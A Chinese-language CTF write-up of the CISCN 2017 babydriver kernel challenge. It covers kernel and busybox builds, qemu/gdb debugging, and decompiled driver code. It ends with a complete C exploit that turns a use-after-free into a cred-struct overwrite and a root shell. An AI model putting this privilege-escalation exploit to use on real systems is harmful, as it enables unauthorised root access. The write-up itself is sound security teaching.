第一次做kernel pwn的题目,用CISCN2017的babydriver做个入门吧。从编译内核到调试内核环境都做一做吧。
kernel pwn需要安装qemu来运行内核环境,我使用的是MIT的修改版本qemu,连接gdb调试更加方便一些。
需要掌握的知识结构
可以参考大佬的这篇文章
编译内核 Download
从Linux Kernel 官网下载并且解压内核源代码
1 2 3 xz -d linux-4.4.217.tar.xz tar xvf linux-4.4.217.tar cd linux-4.4.217/
安装依赖
1 2 sudo apt-get update sudo apt-get install build-essential libncurses5-dev
编译
参考
1 2 3 4 5 6 7 $ make menuconfig 进入Kernel hacking 勾选以下项目 Kernel debugging Compile-time checks and compiler options —> Compile the kernel with debug info和Compile the kernel with frame pointers KGDB 然后保存退出
生成镜像文件bzImage,编译完成之后可以在arch/x86/boot中找到。
1 2 3 4 $ make bzImage ... Kernel: arch/x86/boot/bzImage is ready (#1) make[1]: warning: Clock skew detected. Your build may be incomplete.
构建文件系统
下载busybox,解压、配置并且编译。
1 2 3 4 5 wget https://busybox.net/downloads/busybox-1.27.2.tar.bz2 tar -jxvf busybox-1.27.2.tar.bz2 cd busybox-1.27.2 make menuconfig # Busybox Settings -> Build Options -> Build Busybox as a static binary make install
建立文件系统
1 2 3 4 5 cd _install mkdir proc mkdir sys touch init chmod +x init
编写init
1 2 3 4 5 6 7 8 9 10 11 12 13 # !/bin/sh mkdir /tmp mount -t proc none /proc mount -t sysfs none /sys mount -t debugfs none /sys/kernel/debug mount -t tmpfs none /tmp mdev -s # We need this to find /dev/sda later setsid /bin/cttyhack setuidgid 1000 /bin/sh #设置权限(如果要用root登陆将1000改为0即可) umount /proc umount /sys poweroff -d 0 -f
打包文件系统
1 find . | cpio -o --format=newc > ../../rootfs.img
boot
编写启动脚本boot.sh
1 2 3 # !/bin/bash qemu-system-x86_64 -initrd rootfs.img -kernel bzImage -append 'console=ttyS0' --nographic
环境配置 参考
这里是ubuntu下的环境配置,在mac下配置略有区别。
qemu
安装依赖
1 sudo apt-get install libsdl2-2.0 libsdl2-dev libpixman-1-dev flex bison
下载Qemu代码 ,并且编译,如果运行之后没有显示界面,需要安装SDL(configure之后输出中包含 SDL support yes (2.0.8))我的Ubuntu18.04运行最新的qemu5.0无法gdb调试,建议安装qemu4.0系列的版本。
1 2 3 ./configure --enable-debug --target-list=x86_64-softmmu sudo make sudo make install
运行题目提供的boot.sh脚本时出现如下
1 2 3 $ ./boot.sh Could not access KVM kernel module: No such file or directory qemu-system-x86_64: failed to initialize KVM: No such file or directory
说明该虚拟机硬件不支持虚拟化,所以在VMfusion中选择虚拟机->处理器和内存->高级选项->虚拟化Inter VT-x/EPT ,并且重启虚拟机。
gdb
安装pwdbg/peda/gef等插件
qemu+gdb调试Linux内核
gdb加载编译好的源代码
设置监听端口(默认1234),为boot.sh设定的代码加上参数-s运行。就可以使用gdb对系统内核进行有源代码的调试了。断点·hb start_kernel
vmlinux
vmlinux是编译出的原始内核文件,未经过压缩的ELF格式。可以用于搜索gadgets。有些题目会提供,否则可以从bzImage中导出,工具extract-vmlinux 。
ropper
ROPgadget跑的太慢了,使用ropper 会快很多
调试相关 要对内核模块进行调试,在启动脚本中加入
然后使用 gdb 连接
1 gdb -q -ex "target remote localhost:1234"
如果显示 Remote ‘g’ packet reply is too long 一长串数字,要设置一下架构
1 gdb -q -ex "set architecture i386:x86-64:intel" -ex "target remote localhost:1234"
调试内核模块,/sys/module中查看各个模块的信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 $ cd sys/module/ /sys/module $ ls 8250 ipv6 scsi_mod acpi kdb sg acpi_cpufreq kernel spurious acpiphp keyboard sr_mod apparmor kgdb_nmi suspend ata_generic kgdboc sysrq ata_piix libata tcp_cubic babydriver loop thermal battery md_mod tpm block module tpm_tis core mousedev uhci_hcd cpuidle netpoll uinput debug_core pata_sis usbcore dm_mod pcc_cpufreq virtio_balloon dns_resolver pci_hotplug virtio_blk dynamic_debug pci_slot virtio_mmio edd pcie_aspm virtio_net efivars pciehp virtio_pci ehci_hcd ppp_generic vt elants_i2c printk workqueue ext4 processor xen_acpi_processor firmware_class pstore xen_blkfront fuse rcupdate xen_netfront i8042 rcutree xhci_hcd ima rfkill xz_dec intel_idle rng_core zswap
查看babydriver模块的加载地址
1 2 3 4 5 6 7 8 9 10 11 /sys/module $ cd babydriver/ /sys/module/babydriver $ ls coresize initsize notes sections taint holders initstate refcnt srcversion uevent /sys/module/babydriver $ cd sections/ /sys/module/babydriver/sections $ ls __mcount_loc /sys/module/babydriver/sections $ cat __mcount_loc 0xffffffffc00010d0 /sys/module/babydriver/sections $ grep 0 .text 0xffffffffc0000000
对内核进行带符号表调试,不知道为何我这里符号表加载不进去。。后来把驱动放到跟目录下就好了,也许和不是root权限有关?
1 2 3 4 5 6 7 (gdb) add-symbol-file ./babydriver.ko 0xffffffffc0000000 add symbol table from file "./babydriver.ko" at .text_addr = 0xffffffffc0000000 (y or n) y Reading symbols from ./babydriver.ko... (gdb) b *babyopen Breakpoint 1 at 0xffffffffc0000030: file /home/atum/PWN/my/babydriver/kernelmodule/babydriver.c, line 28.
GDB调试时kernel无法用Ctrl+C进行中断,解决方案
LKM编写 hello.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include <linux/module.h> #include <linux/init.h> #include <linux/kernel.h> MODULE_LICENSE("Dual BSD/GPL" ); static int hello_init (void ) { printk(KERN_DEBUG "Hello World !!!\n" ); return 0 ; } static void hello_exit (void ) { printk(KERN_DEBUG "Bye bye !!!\n" ); } module_init(hello_init); module_exit(hello_exit);
Makefile
1 2 3 4 5 6 7 obj-m := hello.o KDIR := /lib/modules/$(shell uname -r) /build PWD := $(shell pwd) default: $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules
make编译,使用insmod将驱动加载到系统中。通过dmesg查看内核的输出。
需要编译对应内核版本的驱动,如果要编译本题的(4.4.72版本)内核,需要在kernel 下载源代码,并且KDIR修改为源代码/build
目录。(不过还没验证过)
报错
遇到MODPOST 0modules的错误,MakeFile编写出了问题,obj-m少了o
gcc报错,是gcc版本太低,需要更新到gcc-5以上
加载没有符号表,参考
内核版本不匹配,导致愿意原因一般是更新过系统。
比如我这里,要手动把Makefile里的路径$(shell uname -r)的值改掉。
LKM的一些命令/函数
insmod:加载模块
lsmod:查看模块
rmmod:删除模块
open:打开模块
Ioctl:int ioctl(ind fd,int request,…)操作模块
read:读模块
write:写模块
close:关闭模块
BabyDriver 题目一般都会提供四个文件,拿本题的四个文件举例bzImage rootfs.cpio babydriver.ko boot.sh ,分别是内核镜像、文件系统、一个包含漏洞的LKM驱动和启动脚本。之前自己编译过内核,应该就知道这一部分的意义。
解包文件系统。在文件系统中,可以看到init文件,调用了insmod加载了包含了漏洞的babydriver.ko。
1 2 cpio -idmv < rootfs.cpio #解包 find . | cpio -o --format=newc > ../rootfs.cpio#打包
init 文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 # !/bin/sh mount -t proc none /proc mount -t sysfs none /sys mount -t devtmpfs devtmpfs /dev chown root:root flag chmod 400 flag exec 0</dev/console exec 1>/dev/console exec 2>/dev/console insmod /lib/modules/4.4.72/babydriver.ko chmod 777 /dev/babydev echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" setsid cttyhack setuidgid 1000 sh umount /proc umount /sys poweroff -d 0 -f
运行./boot.sh起系统。当然,比赛提供的文件系统中自然是没有flag的,所以显示No such file,不过本地可以自己写在文件系统里然后打包。比赛中,打服务器也是将自己脚本上传到tmp,然后运行提权。
打包运行脚本,将我们的flag放入busybox的根目录(此处为core目录),如果要调试就让gdb监听1234端口。
1 2 3 4 5 6 # !/bin/sh cd core find . | cpio -o --format=newc > ../rootfs.cpio cd .. qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0' --nographic -s
漏洞分析
使用checksec 检查保护机制,只开了NX。
IDA中Shift+F9查看有哪些结构体
IDA里查看出题人编写的几个函数。
babyioctl :定义了0x0001的ioctl命令,ioctl系统调用用于控制设备,每个ioctl调用内部存在switch case结构,每个case对应一个命令。babyioctl会释放babydev_struct结构体中的device buf缓冲区,然后根据用户输入的size值分配对应内存。因为是__fastcall方式,参数都是寄存器传递的,这里了解即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 void __fastcall babyioctl (file *filp, unsigned int command, unsigned __int64 arg) { size_t v3; size_t v4; __int64 v5; _fentry__(filp, *(_QWORD *)&command); v4 = v3; if ( command == 0x10001 ) { kfree(babydev_struct.device_buf); babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0 LL); babydev_struct.device_buf_len = v4; printk("alloc done\n" , 0x24000C0 LL, v5); } else { printk("\x013defalut:arg is %ld\n" , v3, v3); } }
需要注意的是printk 并不会输出在console中,需要使用dmesg命令才能查看输出。
babyopen :申请一块0x40字节大小的空间,存储在babydev_struct.device_buf上。
1 2 3 4 5 6 7 8 9 10 int __fastcall babyopen (inode *inode, file *filp) { __int64 v2; _fentry__(inode, filp); babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6 ], 0x24000C0 LL, 0x40 LL); babydev_struct.device_buf_len = 64LL ; printk("device open\n" , 0x24000C0 LL, v2); return 0 ; }
babyread :首先检测读取是否越界,然后将device_buf中的数据拷贝到用户空间的buffer缓冲区中。
1 2 3 4 5 6 7 8 9 10 11 void __fastcall babyread (file *filp, char *buffer, size_t length, loff_t *offset) { size_t v4; _fentry__(filp, buffer); if ( babydev_struct.device_buf ) { if ( babydev_struct.device_buf_len > v4 ) copy_to_user(buffer, babydev_struct.device_buf, v4); } }
babywrite :作用与babyread相反,很好理解。
1 2 3 4 5 6 7 8 9 10 11 void __fastcall babywrite (file *filp, const char *buffer, size_t length, loff_t *offset) { size_t v4; _fentry__(filp, buffer); if ( babydev_struct.device_buf ) { if ( babydev_struct.device_buf_len > v4 ) copy_from_user(babydev_struct.device_buf, buffer, v4); } }
babyrelease :释放babydev_struct.device_buf空间。
1 2 3 4 5 6 7 8 9 int __fastcall babyrelease (inode *inode, file *filp) { __int64 v2; _fentry__(inode, filp); kfree(babydev_struct.device_buf); printk("device release\n" , filp, v2); return 0 ; }
思路
题目中的函数并没有溢出,但是存在一个条件竞争导致的UAF。因为babydev_struct是一个全局变量,当我们打开两次/dev/babydev设备,使用的是同一个块内存存放。当释放其中一个设备,另一个设备依然可以使用这块内存空间,造成一个UAF漏洞。
如何提权呢?通过修改cred结构体来提权到root,4.4.72的cred结构体如下。我们只需要将gid和uid修改为0,就能提权到root。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 struct cred { atomic_t usage; #ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; void *put_addr; unsigned magic; #define CRED_MAGIC 0x43736564 #define CRED_MAGIC_DEAD 0x44656144 #endif kuid_t uid; kgid_t gid; kuid_t suid; kgid_t sgid; kuid_t euid; kgid_t egid; kuid_t fsuid; kgid_t fsgid; unsigned securebits; kernel_cap_t cap_inheritable; kernel_cap_t cap_permitted; kernel_cap_t cap_effective; kernel_cap_t cap_bset; kernel_cap_t cap_ambient; #ifdef CONFIG_KEYS unsigned char jit_keyring; struct key __rcu *session_keyring ; struct key *process_keyring ; struct key *thread_keyring ; struct key *request_key_auth ; #endif #ifdef CONFIG_SECURITY void *security; #endif struct user_struct *user ; struct user_namespace *user_ns ; struct group_info *group_info ; struct rcu_head rcu ; };
于是我们得出利用流程
exploit需要用c来编写,在mac下编译我尝试用x86_64-elf-gcc做交叉编译,不过有一些问题,所以还是尽量直接用ubuntu编译吧。
1 sudo port install x86_64-elf-gcc
完整的Exploit,参考ctfwiki上的exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <stropts.h> #include <sys/wait.h> #include <sys/stat.h> int main () { int fd1 = open("/dev/babydev" , 2 ); int fd2 = open("/dev/babydev" , 2 ); ioctl(fd1, 0x10001 , 0xa8 ); close(fd1); int pid = fork(); if (pid < 0 ) { puts ("[*] fork error!" ); exit (0 ); } else if (pid == 0 ) { char zeros[30 ] = {0 }; write(fd2, zeros, 28 ); if (getuid() == 0 ) { puts ("[+] root now." ); system("/bin/sh" ); exit (0 ); } } else { wait(NULL ); } close(fd2); return 0 ; }
静态编译Exploit,因为kernel中没有编译过libc。
1 gcc exp.c -o exp -static
最后打包文件系统,重新起系统。在/tmp目录下运行exp即可获得一个root权限的shell。
这道题主要还是体验为主,很多细节部分还不是很清楚,特别是调试部分,用户态和内核态调试还是比较麻烦的。
附录 LKM入门 参考
KERNEL PWNCISCN 2017 babydriver题解
64位交叉开发工具集
kernel-pwn-学习之路一